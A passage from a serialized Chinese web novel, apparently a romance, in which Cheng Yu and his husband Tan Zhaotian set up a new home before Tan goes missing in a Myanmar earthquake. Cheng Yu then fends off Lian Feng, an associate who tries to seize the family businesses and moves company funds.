詹家知道后，詹塘还要再闹，却谁也联系不上，找律师，律师也为难，告诉詹塘：“对方牢也坐完了，该赔的钱也早赔了，他们现在已经没有任何法律责任了，你告也告不了他，报警更没用。” “至于你说的他们家的承诺，承诺这东西，口头上的，也一样没有法律效力的。” 詹塘和詹家都懵了。 他们这十年多，全靠谈家兄弟给钱，才能又换大房子又穿名牌，如今…… 詹家人全怪詹塘，说他那晚就不该那么闹。 还气愤地说：“你哥拿命给我们换来的好日子，就这么被你搞砸了！” 詹塘也懊悔得肠子都青了。 医院那边，没有护工管詹茂，詹家人让詹塘去，要么出钱另外请护工，詹塘气得和他们吵起来，说：“凭什么我出钱！？凭什么我去？他又不是我儿子！” 詹家人和他吵：“没有你哥，你能吃香的喝辣的，还进现在这么好的单位！？” 詹塘：“你们没吃香的喝辣的、住大房子开豪车！？” “不是我儿子，我不管！” “谁儿子谁管！” 詹家鸡飞狗跳。 第64章 已经十二月底了，程郁和谈兆天最近在看婚房。 谈兆天知道程郁喜欢黄浦江边，所以他们一直看的都是那周围的房子，全是豪宅。 程郁连着看了好几个，都不是太满意。 他觉得太大了，几乎全是两三百平以上的，房子是很好，小区也不错，但程郁觉得两个人住，用不着那么大面积，显得空，他希望待在家里的时候，一叫谈兆天，谈兆天就能听到，而不是两人在家，就跟在迷宫一样，见个面还得打个电话问你在哪儿。 这日，他们又看了一套，顶层，带泳池，更是大得夸张。 程郁不喜欢，看了一半就不想看了。 坐电梯下楼离开，谈兆天突然想起什么，对程郁说：“我有套房子，也在这附近，之前装修好，本来准备我一个人住的，后来没搬。” “就是看不见江，只能在阳台看到点东方塔的塔尖。” “要不要去看看？” 程郁：“可以啊。” 于是告别中介，谈兆天带程郁去了那套房子那儿。 程郁一看，特别的满意——是两百平不到的平层，客厅大，两个卧室，还有个书房、健身房，格局归整，不显得空。 关键它的阳台可以看见东方塔、以及附近的小区建筑，晚上灯一亮，跟在看万家灯火似的。 程郁很喜欢，也喜欢窗外的这些万家灯火。 他站在阳台，转身对谈兆天道：“我们就搬这套吧。刚好，现成的，也不用另买了。” 谈兆天说好，心里有别样的滋味，觉得人生命运真的很神奇，他当初装修好，本来是要一个人住的，因为懒得搬，没住过来，最终，他还是要搬过来，却不是一个人，而是和程郁一起。 就这样，元旦前，程郁和谈兆天一起弄起房子的软装、买各种家具大小家电，一起一点点把他们的新家归整起来。 元旦，因为货源的事，谈兆天出差去了趟缅国。 程郁趁着有空，一个人把新家的里里外外都弄了一遍，还请了江悦明来新家喝下午茶。 江悦明在新家转了圈，觉得弄得蛮好的，问程郁：“是不是快搬了？” “春节之前搬。” 程郁坐在新沙发上，给江悦明倒茶，又拿零食，分给江悦明带来的这会儿正和老虎一起玩儿的萨摩耶。 两只狗在旁边玩儿，程郁和江悦明喝茶聊天。 江悦明说：“我是希望他们兄弟别把生意的摊子弄这么大的。” “人多，又杂，心不容易齐的。” “说好听了，都是弟兄，有钱一起赚，有事儿一起扛，说难听了，哪天真出点状况，背后都不知道是谁捅的刀子。” 程郁点头：“我最近和兆天聊过这些，我也去问了我做管理咨询的朋友。” “我准备和兆天商量，按照行业，把这些生意一个个大体的划分开，用控股的形式垂直管理。” “像包子店这种就不用控股了。” “其他的，最好按照公司的模式把产权划分清楚。” “我还建了套人事档案，把他们每个人的情况都大致登记了一遍。” “最近我做完了，等兆天回来，让他帮我把资料补补齐。” 江悦明笑：“你也太能干了。” 程郁喝着茶耸肩，一脸自信道：“谁让他嫁给了我呢。” 元旦过后，谈兆天从缅国回来了，一回来，就去了程郁公司，给程郁戴上了一条比啤酒瓶底子都绿的翡翠珠子项链。 程郁伸手摸摸颈间的项链，笑着：“这种高货都给我了，你那些玉石城的铺子，到底赚不赚钱啊？” 谈兆天搂着程郁，垂眸欣赏了眼程郁戴上项链的样子，一脸赏心悦目，语气满不在乎：“不赚钱就不赚钱，我老婆得穿金戴翠。” 程郁好笑。 趁着谈兆天来公司，程郁把男人拉了坐下，自己坐到男人怀里，点开电脑上一个文件，示意谈兆天看，他边拖着鼠标边道：“我做了一个这样的图，你看看。” “按照行业，我把你们兄弟名下公司性质的企业都列出来了。” “这些标红的，有的是原本就有的公司，有的是我暂时设立的一个个新公司。” “由这些公司，来控股他们下面的这些小公司。” “也由这些公司，来控制下面这些公司的财务情况。” “这个，是一个空壳公司。” “这个公司不做业务，来控股下面这几家大公司，通过定期分红的方式，可以转化下面这些公司的利润。” “这样的话，整个事业版图的情况就非常清晰了。” 谈兆天认真地看着，点点头。 看完，他问程郁：“都是你自己一个人做的？” “嗯，是啊。” 程郁放下鼠标，胳膊搂了男人：“我可是特意花钱找了做管理咨询的朋友。” 谈兆天亲亲程郁的脸：“这么棒。” 程郁傲娇：“是啊，你才知道啊。” 谈兆天又亲了亲程郁，说：“这张图你发我，我再研究研究。” “大差不差的，就按你说的这么办。” “到时候如果牵扯到弟兄们的利益，就到时候再按照情况调整。” 程郁点头：“当然了，谁都不想有调整的时候自己的利益受损么，正常。” 又说：“慢慢来吧，不着急。” “快过年了，年后慢慢弄。” 当晚晚饭后，程郁给了谈兆天一个惊喜。 他带谈兆天去了新房，门一开，程郁：“当当当当~~” 谈兆天抬眸扫过，惊讶——房子已经全弄完了，家具家电全部入场、摆放整齐，阳台的纱帘也都装上了，摆放了很多绿植和鲜花，灯光下，整个房子显出温馨的色调。 “怎么样？” 程郁问。 谈兆天搂了程郁，含笑：“你怎么一个人就弄完了，不等我回来？” 程郁面对面，捧着男人的脸，摸他的下巴下颌：“你出差，我刚好有空，就弄了下。” 又问：“怎么样，还行吗？” 谈兆天垂眸看年轻男人：“不是还行，是太好了。” 说着展臂搂程郁。 程郁转身，和谈兆天后背贴前胸的搂着，一起看着屋内。 程郁展望道：“我们以后可以一起在沙发上看书看电视刷手机撸狗。” “或者你去健身，我在沙发上躺着看电影。” “到时候也可以喊朋友过来玩儿。” 谈兆天的脑袋挨在程郁脸旁，说：“我要在沙发和阳台玻璃上cao你。” 程郁笑：“流氓。” 往窗外眺望，阳台外，是夜晚灯光汇聚的万家灯火。 今晚，以后的每一天，他们的小家，也将是这些灯火中的其中一盏。 程郁光是想想，就觉得幸福。 几天后，程郁和谈兆天就从公寓搬到了新家，也把老虎带了过来，一家三口一起住。 早上，程郁和谈兆天一起吃早饭，吃完程郁去上班，谈兆天带着老虎忙生意、到处跑； 晚上，高兴了，都有空，两人就外面吃吃，懒得动，就回家，家里煮点东西随便吃一些。 他们在家里一起聊天、运动、泡澡、做/爱、看电影…… 这晚回来，程郁开了他新买的音响，放了首曲子，和谈兆天一起站在沙发旁的落地窗前，面对面地搂在一起，轻轻地颠着脚步跳舞。 不用特意聊什么，只是这样，程郁就觉得特别的幸福，谈兆天也是。 随音乐轻晃着，程郁挨在男人肩头，说：“你还记得我们有次在临顿路吃饭，还在旁边的小公园里一起跳过华尔兹吗。地上有脚印，按照脚印跳的。” 谈兆天：“嗯，记得。” 程郁笑了笑，眼睛这时都是闭着的，说：“你看起来肢体特别不和谐。” 谈兆天声音温柔：“我不会跳。” 程郁：“现在还不会吗？” 谈兆天：“不会。” 程郁：“那我回头教你，以后我们可以在家里跳华尔兹。” 谈兆天：“好。” 而幸福中的程郁的“表现”也非常棒： 他把家里归置得特别温馨，绿植旺盛，鲜花不断。 他会主动找事情和谈兆天一起消磨时间，比如一起做甜点、一起研究菜谱，给谈兆天刮胡子、为他研究穿搭，等等。 程郁从来没有说过爱，但谈兆天感觉得出来，程郁是爱他的。 临近春节，这晚谈兆天站在浴室，帮刚洗完澡的程郁吹头发，边吹边和他商量道：“你是想除夕回家，还是想把你妈他们接过来一起？” 程郁：“接过来一起吧，我们这里住不下，到时候给他们开两个酒店房间。” 说着，转过身，搂在谈兆天肩头。 谈兆天就着程郁搂在他的姿势继续吹头发，又说：“过年有几天假，想不想出去玩儿？” 程郁靠在男人肩头，闭着眼睛：“先陪我妈他们两天吧。” “你有想去的地方吗？” 谈兆天：“要不要去海南？” 程郁：“可以啊，我还没有和你一起度过假呢。” 又说：“真想休他十天半个月，好好出去玩儿一趟啊。” 可惜太忙了。 谈兆天：“等明年吧，明天找个时间，我们出去转一圈。” “好呀。” 只是这样计划着聊聊，程郁都很开心。 谈兆天又说：“二月底三月初我可能还要去趟咖什。” 也就是缅国，咖什是缅国知名的做翡翠生意的地方。 “又要去啊。” 程郁聊：“那里安全吗？我总觉得东南亚那边不太平。” 谈兆天：“安全的，那里都是做生意的，而且我就去几天，很快就回来了。” 这个话题很快略过，程郁叹：“好快啊，又快过年了。” 又说：“我们一起的第一个年。” 这一年的春节除夕，程郁很开心，比往年都要开心。 从前都是回老家，过得不咸不淡，今年，他接了姜月惜他们过来，和谈征江悦明一起过的年，除夕夜的饭菜吃得有滋有味，吃完还一起放了烟花。 夜里，凌晨，做完，卡着零点，程郁搂在谈兆天怀里，对他说：“新年快乐，老公。” 谈兆天亲亲他的脸，说：“老婆，新年快乐。” 又说：“我爱你。” 程郁挨着谈兆天，觉得特别特别的幸福。 次日，大年初一，早上，谈兆天正准备拿食材做点早饭，穿着他衬衫的程郁光着腿，蹑手蹑脚地来到男人身后，突然一下跳到男人背上，吓了谈兆天一大跳。 谈兆天把食材放去砧板上，反手搂了程郁的腿：“醒这么早。” 程郁像只大狗熊一样趴在他背上，又亲了亲男人的脸，笑着，可开心了。 第65章 春节后，回公司上班，程郁一直在想一个问题：他爱上谈兆天了吗？ 他现在每天都觉得很幸福，这里面有爱吗？有爱情的成分吗？ 程郁在这方面是生疏迟钝的，毕竟在过去的那些年里，他不相信爱情，也没有对爱这个字眼有过准确的领悟。 这日和江悦明一起吃饭，程郁问江悦明：“嫂子，你是哪一刻确定你爱大哥的？” 江悦明意外了下，没料到程郁会和他聊这个。 他想了想，说：“我从小就喜欢他啊，上学的时候。” “我是个乖乖仔，他是个小痞子，我就喜欢他那样的，觉得他特别的帅。” 程郁又问：“喜欢是什么感觉？” 感觉？ 江悦明想了想：“这不太好描述。” “差不多就是，看他，和看别人，明显不一样。” “怎么问这个？” 程郁：“随便探讨一下。” 江悦明道：“你知道吗，有种说法，说每个人都有各自不同的‘爱情母题’，或者叫它，主旨。” 主旨，核心要义或者说是中心思想。 程郁问：“那嫂子你的‘爱情母题’是什么？” 江悦明想了想，说：“应该是陪伴吧，不离不弃。” 问：“你的呢？” 程郁也想了想，耸肩，暂时没有答案。 这天，程郁和贺晓远约饭，贺晓远问他：“思普中高层的简历，你那儿现在都有吧？” 程郁吃着饭，但笑不语。 贺晓远：“真的都有啊？” 程郁：“只要一份简历曾经在网上上传过，就一定能被人被公司挖出来。” “我有，我的公司有，不奇怪。” “所有做人力资源的，基本都有。” 程郁解释：“但我独有的，不是简历，是和这些人大差不差都认识。” “我做的是人力资源这行，人脉和关系圈，是我必须去经营的。” 贺晓远夸他：“你很厉害。” 程郁笑笑：“还是你当初给了我灵感。” “记得吗，兆天介绍我们认识的时候，第一次私下见面，你说你认识我，知道我是陆泽深的特助。” “我那时候就想，连贺总这样的人都能记住我的名字身份，那我为什么不去做相似的事情，记住每一个有机会见面结识的人？” “现在我做人力资源这行，当然更会在这方面花心思。” 贺晓远朝他竖了下大拇指，十分认可程郁的努力和这份在事业上的钻研。 聊着聊着，不聊工作了，程郁问：“贺总，你有‘爱情母题’吗？” “爱情母题？” 贺晓远几乎没这么想，就说：“我的话，大概是‘成长’。” “我的先生见证了我大学毕业后的每一步成长。” “所以我想我的爱情，如果一定要概括，应该可以用‘成长’来概括。” “你呢？” “我最近想了。” 程郁有点无奈，说：“好像是‘砸钱’。” 贺晓远笑喷。 程郁也不想啊，别人的爱情主旨都是什么‘陪伴’‘成长’，多高大上，多有意义。 可想来想去，程郁觉得他和谈兆天之间，就是因为谈兆天给了他很多，给的实在太多，才能有今天。 行吧，砸钱就砸钱。 好歹砸出了不错的结果。 三月初，谈兆天准备去咖什了，程郁总觉得东南亚不太平，尤其又有之前电信诈骗的新闻，他不是非常放心。 他本来计划把工作推后几天，和谈兆天一起去，但实在没抽出时间。 谈兆天出发的前一晚，程郁把自己一直戴着的那个谈兆天给他的观音摘下来，拿给了谈兆天，给他戴上，系好绳子。 谈兆天觉得不用这样，说：“别担心，我只去几天就回来了。” 程郁：“我知道。戴着，保个平安。” 又说：“你在咖什没家的吧？不会那里还有个老婆吧？老婆最近准备生了？要过去？” 谈兆天笑得不行，亲了亲程郁：“你脑子里整天都是什么。” 程郁故作正经：“没有吗？” 谈兆天指天发誓：“没有，绝对没有。” 程郁“哼！”了声，说：“男人的承诺都是狗叫。” 谈兆天觉得程郁可爱死了，偏头去亲他，掌心揉他屁股。 程郁又拍他胸口，板着脸凶巴巴地说：“把公粮都交了再走！” 谈兆天一把把程郁抱起来，往房间走。 次日，谈兆天动身去往缅国，飞机从本地直飞仰光，5个小时就到了，一落地，谈兆天就给程郁打了个电话报平安。 “好，知道了。” 程郁正在银灰大厦16层。 含笑挂了电话，抬头，见到一个人，程郁神情一顿，有些意外。 在下午茶餐厅面对面坐下，程郁看着对面的男人，神色淡定沉稳。 男人叫应决，是个富商，以前追求过程郁。 程郁从前奉行单身主义，就算知道应决身价不菲，也还是拒绝了男人。 为了能让男人彻底放弃追求，程郁甚至在当年对应决说了这样一句话—— “你说你喜欢我，想要追求我？那好，现在给我转两千万。” 这句话之后，应决再没有在程郁面前出现过，消失得干干净净。 今天偶遇，应决见程郁左手无名指戴了戒指，也从国内的朋友圈里听说，程郁已经结婚了，经常在朋友圈秀和老公一起做的饭、甜点、狗粮，十分恩爱。 应决原本不信，今天一见，见程郁不但戴着婚戒，气色气质也比他从前看见的样子还要好，俨然是被爱与金钱呵护着的样子，这才信了。 一起坐下，喝了两口咖啡，随便聊了聊，应决终于问出了心里的困惑，对程郁道：“当初你让我转两千万，我没有做到。是后来遇到了你现在的先生，他做到了吗？” “一口气就给了你两千万，打动了你？” “不是两千万。” 程郁笑笑，从容沉稳：“我先生给我转了七千六百万，一套房子的钱。” 应决惊讶地挑起眉峰。 “冒昧地问一下。” 应决诚恳而绅士的神情：“你是因为钱，所以被打动了吗？” 怕程郁不高兴，多解释了句：“我没有恶意，只是问问。” “你知道的，我当初没有做到，也没有追到你。” 程郁没不高兴，从容反问：“你是觉得当初你没有转钱，所以我才拒绝了你。” 应决点头：“我确实是这样想的。” “我也确实没有做到。” “我对你的喜欢，不足以在当时的情况下让我为你转两千万。” “所以在我做不到的时候，我明白了自己对你的喜欢是有限的，我没有纠缠你，果断选择了放弃。” 程郁没就此多言，聊回来：“你刚刚问我什么？” 应决：“你是因为钱被打动了吗？” 程郁：“不完全是。” “冒昧地再问一句。” 应决始终绅士：“你爱他吗？” 你爱他吗？ 在这一刻之前，程郁也问了自己无数遍。 他爱谈兆天吗？ 他原本一直不确定。 他原本应该回答不了这个问题。 但面对一个曾经的追求者的好奇，这一刻，程郁几乎没有思考，从容淡定又果断地回答道：“当然，我爱他。” 五个字，应决愣了愣，明显意外，点点头：“谢谢你回答我。” 又说：“祝贺你找到真爱。” 程郁的心里则涟漪晃动，恍然，终于知道，他确实是喜欢谈兆天的。 对谈兆天，他确实是有爱意的。 程郁的心底久久震颤，又很高兴。 他终于有了答案。 和应决道别分开，程郁给谈兆天发：【你在哪儿？】 谈兆天回过来一张拍摄的马路上的照片：【坐车去咖什。】 程郁打字，本来想随便聊两句，但删了又打，打了又删，他最终发过去：【等你回来，我有话和你说。】 程郁的心口满满的，如今他明白了，那里满着快要溢出来的，是爱。 原来爱是这样的，他的爱发生得悄无声息、无知无觉，但当有天有人问他爱与不爱的时候，他心里的答案是那么明确，都不用想，就能说出那句“当然”。 程郁心里非常高兴。 等谈兆天从咖什回来，他要亲口对他说出那句“我爱你”。 他甚至有点等不及了，希望谈兆天快点回来。 因此最近这几天，程郁都在数着日子，等谈兆天回来。 白天他们会互发消息，晚上也会打视频。 谈兆天在视频里问程郁有什么话对他说。 程郁摇头：“现在不告诉你，等你回来了当面跟你说。” 谈兆天不着调地说：“难道怀了？” “滚蛋。” 程郁哼：“谁要给你生孩子。” 谈兆天逗他：“这边这个小老婆就给生。” “我打死你！” 程郁凶，瞪眼。 谈兆天隔着网络笑得不行。 程郁每一天都在满心期待谈兆天回国回家。 他还订了鲜花，准备像告白一样，到时候递上鲜花，再和谈兆天说出那句“我爱你”。 他希望他能像谈兆天给他很多一样，也给谈兆天很多惊喜。 一天两天三天四天，第五天，也就是谈兆天准备回国的前一天，程郁正在办公室对着电脑看东西，手机响了下提示音，屏幕也跟着亮了下。 程郁伸手过去，拿起手机，又看了片刻电脑，才看向手机。 然后，程郁看到了他手机上的新闻推送，写着： 【缅国突发7.9级特大地震。】 作者有话要说： 咖什是我虚构的地方哈 第66章 程郁看着推送的新闻标题，先是整个人顿了下，接着，他一下站起身，两只手端着手机，马上点开新闻。 新闻上说缅国在今天下午两点发生7.9级地震，震源位于缅国曼德勒市附近，深度约30千米，我国境内的云城多地也同样震感强烈。 程郁扫完新闻，马上切去手机联系人，给谈兆天拨电话，电话却一再忙音，提示无法打通。 程郁挂了，再打，一个两个三个，还是打不通，程郁又马上切去微信，给谈兆天拨语音电话，拨了很久，都没有接，再打，还是没有人接。 程郁准备打第三个的时候，江悦明的电话切进来。 “嫂子。” 程郁马上接通。 江悦明语气冷静：“缅国地震，兆天的电话你打通了吗？” “没有，我还在打。” 程郁这时候也很冷静。 他看了新闻，地震的地方是曼德勒，不是咖什，程郁觉得问题应该不大。 江悦明同样冷静：“和他一起去的两个人，你群里问问，看看是谁，打过去，看能不能打通。” “我等会儿就给我妈打电话，让她想办法联系那里的大使馆。” “地震，通讯不好，当地什么情况，至少大使馆比我们清楚。” “如果你也没联系上那两个人，先别急，我来想办法。” “好，我知道了。” 程郁挂了电话，马上在群里问是哪两个人陪谈兆天去了咖什。 不久，那两人的电话和微信被人推送给程郁，程郁马上把电话拨过去，但无一例外，都没有打通。 再给谈兆天打，也依旧联系不上。 程郁外套都没拿，叫上老虎，便带着大黑狗一起，飞快地走出办公室，同时低头在手机上订去往缅甸的飞机。 原本好好的，机票都已经订好了，然而付款的时候，页面却变成了灰色，退出去，原本的订单页面也变灰了，显示订购失败。 程郁走出公司，去按电梯，同时给航空公司打电话。 结果航空公司的客服告诉他因为缅国地震，接到上级部门通知，他们所有去往缅国的飞机全部临时取消了。 程郁这时候还是很冷静，他从电梯出来，快步走向宾利的同时打给了贺晓远，想要借贺晓远家的私人飞机去缅国。 贺晓远在电话那头很惊讶：“兆天在缅国？” 冷静的：“你稍等，我问问能不能申请到航道，等会儿回给你。” 程郁：“好，麻烦你。” 不久，程郁开车在路上，接到贺晓远的回电，说：“因为地震，去缅国的航道都临时关闭了，私人飞机也飞不了。” “兆天在哪儿？不在曼德勒吧？” “我找人打听下当地的情况。” 程郁：“在咖什。” 贺晓远：“他电话打不通？” 程郁开着车，冷静的：“打不通，和他一起去的也打不通，当地通讯应该是出问题了。” “你先别急。” 贺晓远同样冷静：“我找人来问问。刚地震，通讯确实是会出问题的。” “震中在曼德勒，咖什就算有震感，应该也不会有大问题。” 但显然寻常人低估了7.9级地震的威力，也高估了缅国的占地面积。 缅国本就不大，震中在曼德勒，连国内的云城都有震感，何况咖什。 程郁刚到江悦明谈征家，他手机里其中一个弟兄群里，便有人发了一条视频，是有人用手机录的咖什当地的情况，视频里，不但全是倒塌的楼房，录制的人还边拍边说这些倒掉的楼里，住的全部都是国内来咖什做翡翠玉石生意的人。 程郁和江悦明谈征他们起先都没看到这条视频，他们都在想各种方法联系谈兆天，或者去打听咖什当地的情况，再通过江悦明父母联系大使馆。 等看见那条视频，那个视频已经在所有的小弟群里传开了，群里全在说： 【联系上天哥他们了吗？】 【天哥他们也住的这种楼吗？】 【有人联系上了吗？】 程郁一看视频，脑内白光闪过，懵了下。 他又马上在群里问谁第一个发的视频，视频哪里来的。 有人回复他，给了他一个抖音账号，程郁马上登抖音，找到那个人，看了那个人刚发的几条珈什当地的视频，又马上私信对方，试图联系对方，想让对方帮他找谈兆天，也非常直接地许诺愿意花高价，多少钱都行。 那个人应该是没看见私信，暂时没有回复。 到这里，这个时候，程郁江悦明谈征都还很冷静，也都不觉得谈兆天会出什么事，觉得只是因为通讯不好，暂时联系不上，也相信只要通讯恢复，他们会联系上谈兆天，谈兆天也会想办法联系他们。 但接下去的几个小时，三人不但始终没有联系上谈兆天，还接连收到了不好的消息： 大使馆回复过来消息，说缅国当地的情况非常不好，以曼德勒为中心，几乎整个缅国都因为地震产生了巨大的影响，光他们知道的，已经死了不少人。 贺晓远打来电话，也说他联系上的缅国那边的人说缅国现在的情况非常糟糕，倒了很多楼，死了很多人。 那个抖音博主也回复程郁，拍了当地视频，楼几乎全倒了，说国内去珈什那边的人，只要活着的，都会想办法用手机联系国内的家人，如果没有联系，可能是因为没从楼里来得及跑出来。 还说他没办法帮忙找人，现在当地全乱了套，还有很多余震，他已经从咖什离开了。 一个小时、两个小时、三个小时…… 到晚上七八点的时候，还是没有联系上谈兆天，没有一点消息，程郁没有神情地坐着，江悦明一直在不停打各种电话，谈征的脸色也黑得不能再黑。 十点，还是没有联系上、没有一点谈兆天的消息，江悦明放下打得滚烫的快要没电的手机，整个人都在轻轻颤抖。 “不会有事的。” 谈征反复说了好几遍：“不会有事的。” 程郁在看手机，不停刷新闻，看见新闻上显示缅国当地的官方死亡数据和一些新闻消息。 他也翻便了自己的手机联络人，想尽了所有的办法，去联系咖什当地，或者看有没有什么渠道可以让他去缅国。 凌晨一点，小弟群里，有人发了个视频的截图，说：【这不就是天哥他们住的地方吗。】 【塌了，都塌了。】 程郁看见，整颗心都紧紧死死地揪了起来。 他继续去问截图和视频的来源，去网上看这段视频的出处，想办法联系发布视频的人，再在小弟群里问，是谁确认谈兆天他们一行人就住在那里。 有小弟回：“六麻子说的，他表弟就是这次跟天哥去咖什的其中一个。” “到现在也联系不上。” “他家里也急死了。” 程郁凌晨三点多回的家，带着老虎。 一回家，程郁便木然瘫坐在玄关，浑身都在发抖。 老虎围着他，他就抱紧了老虎，眼眶红得滴血。 不会有事的。 不会有事的。 程郁反复告诉自己。 程郁根本睡不着，抱着老虎在沙发枯坐到了天亮，脑子里反复是咖什当地的情况、谈兆天此刻可能的去处、自己还有什么办法能联系上谈兆天，一团乱，心也死死地揪着。 天亮了，七点多，程郁去洗澡，换衣服，再喂了老虎，带老虎去江悦明谈征那儿。 江悦明谈征也同样一夜未睡，眼底都是血丝。 阿姨做了早饭，三人坐在桌边，谁都没有胃口吃，程郁最后就喝了几口水。 当日整个白天，程郁江悦明他们又在想各种办法联系谈兆天、联络咖什当地。 但要么没有消息，要么就全是不好的消息——据大使馆那儿回复，他们让人去了咖什当地，情况非常糟糕，国内生意人过去会住的楼，几乎全部塌了，很多人失联，不少人被压在楼里，当地根本没有能力去救援。 程郁他们想尽了办法，也没有一条航路能去缅国，不仅如此，因地震特情，缅国把周围所有的交通都暂停了。 下午，程郁托到人，问到了可以从泰国边境去往缅国，谈征马上收拾东西，订了飞泰国的机票。 程郁也要去，谈征不让，江悦明也不让，他们既怕在谈兆天出事的情况下又让程郁有个万一好歹，也不想如果谈兆天回来看不见程郁。 于是谈征带上行李，吻别江悦明，独自去了机场。 等谈征一走，程郁已然落到底的心绪又一下冷静了。 他想这个时候不能乱，一定不能乱。 兆天失联，谈征飞走，他们兄弟俩那么多的生意，那么多的弟兄，太容易在这个时候出岔子了。 一定不能乱。 他给自己公司的人发消息，简单交代了下，又在几个小弟群里发： 【从现在开始，任何人不得在群里聊缅国那边的情况。】 他说谈兆天一定会安全回来。 又说：【所有人，该干嘛干嘛，不要乱。】 【各自的生意公司管好，每天早上私聊我，或者群里发，告诉我生意是不是都正常。】 【有任何问题都可以找我。】 【以上消息内容，收到的人，看清楚的，明白了的，群里回复收到。@所有人】 不久，群里一一有人回： 【收到。】 【收到。】 【收到。】 有人没回。 江悦明在群里现身：【你们程哥说的这些，是不是还有人不清楚？@所有人】 程郁：【我再说一遍，清楚明白的人，回复我，回复收到。】 这次回复的变多了： 【收到。】 【收到。】 …… 程郁又在群里说：【这个时候就是考验大家是否团结一心的时刻。】 【不希望在兆天和征哥回来前，生意上出什么纰漏。】 【我再说一遍，大家该做什么做什么，有任何问题，找我。】 很快有人微信上戳程郁，聊了点生意上的事情，程郁回复对方，并起身，对江悦明道：“嫂子，你睡得着就睡会儿，我去看一下生意。” 江悦明也担心程郁：“你要不要也去睡会儿？” 程郁摇头：“我反正也睡不着。你休息吧，睡一会儿，我走了。” 程郁也带走了老虎，像平时谈兆天管生意一样，带着老虎，去管那些杂七杂八的生意。 晚上，程郁十点到家，累得胳膊都抬不起来，但依旧毫无睡意，在沙发抱着老虎干坐到天亮。 这期间，他一直在打谈兆天的电话，反复拨，一直打，打不通，就继续再打。 他没有崩溃，也没有倒下，甚至没有过多情绪的流露。 他明白这个时候的任何情绪都没有用。 他需要理智、需要想办法，需要在谈兆天他们兄弟都不在的这个时候，把家里这边的局面稳住，稳到谈征找到谈兆天，稳到他们兄弟回家。 天又亮了，程郁去洗漱、换衣服，像平时正常时候一样，正常地开启全新的一天。 程郁出门前，正给老虎喂狗粮，门铃突然响了。 程郁正倒狗粮，闻声下意识转头，心里突突一跳，有些期待，心想会不会是谈兆天回来了，老虎却在这时向着门口的方向落下点尾巴，喉咙里发出警告的呜咽。 程郁放下狗粮的袋子，摸了把老虎，准备去开门。 门外却响起咚咚咚的拍门声，催促的样子，像是十分不耐烦。 程郁这下心知不是谈兆天，神色冷静地打开门。 门一开，他对上来人的目光，心里明白过来，谈征一走，谈兆天在缅国生死未卜，这么多生意，这么多人，终于有人按耐不住了—— 来的是连锋，带着几个程郁可以叫上名字的弟兄。 他们进了客厅，沙发坐下，连锋就掏出一支笔、几张纸，摆到茶几上，对程郁说：“建筑公司，还有几个生意，都是这么多年，你老公和我的心血。” “现在兆天不在了，我还要麻烦你，签个不和我争不和我抢的承诺。” “不然兆天在上面不安生，我在地上，也不安生。” 最后好声好气地客气了下，说：“麻烦你了，弟妹。” 程郁隔着茶几坐着，垂眸瞥瞥茶几上的纸笔，抬眼，淡定又冷静的：“谁跟你说谈兆天死了？” 连锋默了默，像是也有些伤心：“我也希望他活着，至少比你想。” 程郁冷笑。 连锋眯眼：“笑什么？不是吗？他活着，兄弟们有钱一起赚。他死了，” 男人抬手指程郁：“最得益的，不就是你这个刚和他结婚没多久的捞男吗？！” 跟着边打量程郁边道：“出事的是你老公，我特么都愁得两天没刮胡子，你倒好，跟个没事人一样，平常怎么漂漂亮亮的，现在还怎么漂漂亮亮的，你是连装都懒得装啊。” 程郁懒得多言，起身：“滚出去，字我不会签。” 程郁直视连锋：“你让我签这种东西，我默认你要在这个时候‘造反’。” 又说：“我警告你，你手里负责的那些生意，尤其是建筑公司，你敢动账上一分钱，我都要你好看！” 作者有话要说： 活着哈活着哈【顶锅盖爬走】 第67章 “你别给脸不要脸！” 连锋也起身，身边几个原本站着的男人都向程郁面露凶相。 程郁脚边的老虎向几人发出低吼。 程郁垂手摸了摸老虎，扫过几人，没带怕的：“怎么？他们谈家两兄弟一不在，你们就敢这样？” “是不是忘了你们这些生意都姓谈？” 连锋弯腰拿起纸笔就往程郁身上丢，喝道：“签！你不签也得签！” “我们兄弟几个打下的江山，难不成被你个捞男人当遗产分走？！” 说着抬手，示意身边几人，准备抓着程郁在纸上按手印。 几人刚要动，老虎就朝着离他最近的那个男人扑了过去，一下咬住了那人的手臂，那人发出叫喊，旁边几人见状，马上就要去赶狗，老虎松了口，又要去扑咬另外几人，同时犬吠，汪汪汪地叫得特别大声。 “老虎！” 程郁喊黑狗，老虎又咬了一人的胳膊，跑回来，跑回程郁身边。 程郁马上挡在老虎身前，同时一把抓了插在花瓶里的花，丢掉，抓了花瓶的细窄瓶口，倒握着抓在手里，指着几人：“来，你们试试，看我今天会不会签字按手印。” 花瓶里的水倒流，顺着程郁的手和胳膊，流得满地都是。 几个男人没有上前，连锋气恼地绕过茶几，来到程郁面前，大喝道：“你不就是想分钱！？” 程郁冷静的：“兆天没有死。” 连锋：“你没看见吗，咖什当地的楼都塌成什么样了！” 程郁：“兆天没有死。” 连锋：“你不是希望他没死，你是等着他死透了可以拿遗产分钱！” 程郁：“我再说一遍，兆天没有死。” 连锋大声，脖子上都爆出了血管筋脉：“他死了，当然死了，楼都塌了，这么大的地震……” “没有！他没有死！” 程郁抬手就要用花瓶砸过去，被连锋眼疾手快的抢走，“哐当”一声砸在地上，砸得粉碎。 不想程郁直接抬手挥过来一拳，狠狠打在连锋脸上，怒喝道：“谈兆天不在，你要造反吗！？” “锋哥！” 连锋被打得连连后退，被几个男人扶住。 程郁红着眼眶抬手指他们：“你！还有你们！我再说一遍，这种东西，我，不签！” “你们负责的那些生意！还有公司上的账！尤其是建筑公司！滨江区那个乐园的钱！你们敢动一下，我要你们好看！” 连锋和几个男人走了，留下一地的水和碎玻璃。 程郁忍耐着，弯腰蹲下，看老虎身上，看它有没有事，确认没事，程郁抱了抱老虎，摸它的头：“好狗，爸爸的好儿子，好狗。” 程郁眼眶红着，两夜三天没睡，全靠一口气吊着。 他没有耽误，立刻打电话，找人去建筑公司看着。 他直觉连锋没有在他这里讨到便宜，生意和账上的钱，他肯定会动。 果然，当晚九点多，小赖给程郁电话，说会计到现在都没下班，怀疑会计被连锋打招呼、动了账上的钱。 程郁立刻带着老虎开车赶到建筑公司，快步进公司，来到财务室。 财务室这会儿不止会计，还有小赖他们几个被安排过来看着的弟兄，以及苏玉。 程郁冷着脸一进门，会计马上心虚的自己交代了，说他也不想，可连锋催他，他没办法，就把滨江区乐园的钱，用几笔应付款给转走了。 程郁冷眼看他，太阳穴都爆了起来。 偏偏苏玉要在这个时候插嘴，说：“公司本来就是天哥和我姐夫的，他……” 